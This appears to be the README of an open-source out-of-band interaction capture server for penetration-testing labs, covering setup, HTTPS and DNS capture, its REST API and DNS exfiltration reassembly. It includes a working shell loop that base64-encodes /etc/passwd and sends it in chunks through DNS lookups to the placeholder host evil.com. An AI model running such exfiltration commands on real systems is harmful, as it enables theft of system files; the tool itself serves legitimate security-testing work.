Free Burp Collaborator alternative- OOB interaction capture (HTTP/HTTPS/DNS) with SQLite & exfil reassembly
Free, open-source Burp Collaborator alternative for penetration testing labs
Out-of-Band (OOB) interaction capture · HTTP/HTTPS · DNS · SQLite · Exfil reassembly
Phantom Grid is a self-hosted OOB (Out-of-Band) interaction capture tool — a free alternative to Burp Collaborator for solving penetration testing labs (PortSwigger Web Security Academy, HackTheBox, TryHackMe, etc.).
| Feature | Description |
|---|---|
| HTTP + HTTPS Capture | Dual-stack with auto-generated self-signed TLS certs |
| DNS Capture | Built-in DNS server on port 53 |
| DNS Exfil Reassembly | Automatic chunk reassembly from multi-part DNS exfiltration |
| SQLite Persistence | All data survives server restarts (WAL mode for performance) |
| 40+ Payload Templates | SSRF, XXE, SQLi OOB, CMDi, SSTI, DNS exfil — ready to copy |
| Tactical Dashboard | Command center UI with real-time monitoring |
| Docker Ready | One-command deployment |
| REST API | Full token/interaction/exfil management API |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# HTTP only
python server/server.py
# HTTP + HTTPS (auto-generates self-signed cert)
python server/server.py --https
# Full stack (requires sudo for DNS port 53)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# Use the ngrok HTTPS URL in your payloads
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
Modern apps often block mixed-content requests (http:// from https:// pages). Phantom Grid v2.0 runs HTTPS alongside HTTP.
python server/server.py --https
# Generates certs/server.pem + certs/server.key automatically
# HTTPS available at https://0.0.0.0:9443
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok provides a trusted HTTPS URL automatically
Phantom Grid automatically reassembles chunked DNS exfiltration data. This is critical for extracting large payloads that must be split across multiple DNS lookups (labels limited to 63 bytes).
| Format | Example | Use Case |
|---|---|---|
| Simple | data.TOKEN.domain | Single value exfil |
| Indexed | 0.chunk1.TOKEN.domain | Auto-session, ordered chunks |
| Tagged | sess1.0.chunk1.TOKEN.domain | Named session with ordering |
| End signal | end.sess1.TOKEN.domain | Mark session complete |
/etc/passwd via DNSOn the target:
# Split file into 50-byte base64 chunks and send via DNS
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
View reassembled data:
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
Response:
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
All data is stored in phantom_grid.db using SQLite WAL mode for concurrent read/write performance.
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
Data survives server restarts. Back up by copying phantom_grid.db.
| Method | Endpoint | Description |
|---|---|---|
GET | /api/tokens | List all tokens with stats |
POST | /api/tokens | Create token {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | Update token label/notes |
DELETE | /api/tokens/<id> | Delete token + all data (CASCADE) |
| Method | Endpoint | Description |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | Get token interactions |
DELETE | /api/tokens/<id>/interactions | Clear interactions |
GET | /api/log?limit= | Global log (all tokens) |
GET | /api/poll?since=<ISO> | Poll new interactions |
| Method | Endpoint | Description |
|---|---|---|
GET | /api/tokens/<id>/exfil | Get exfil sessions with reassembled data |
| Method | Endpoint | Description |
|---|---|---|
GET | /api/stats | Global stats (counts, DB size) |
GET | /health | Health check |
| Protocol | Endpoint |
|---|---|
| HTTP | http://server:9090/c/<TOKEN> |
| HTTPS | https://server:9443/c/<TOKEN> |
| DNS | <TOKEN>.yourdomain.com |
| DNS exfil | <data>.<TOKEN>.yourdomain.com |
python server.py [OPTIONS]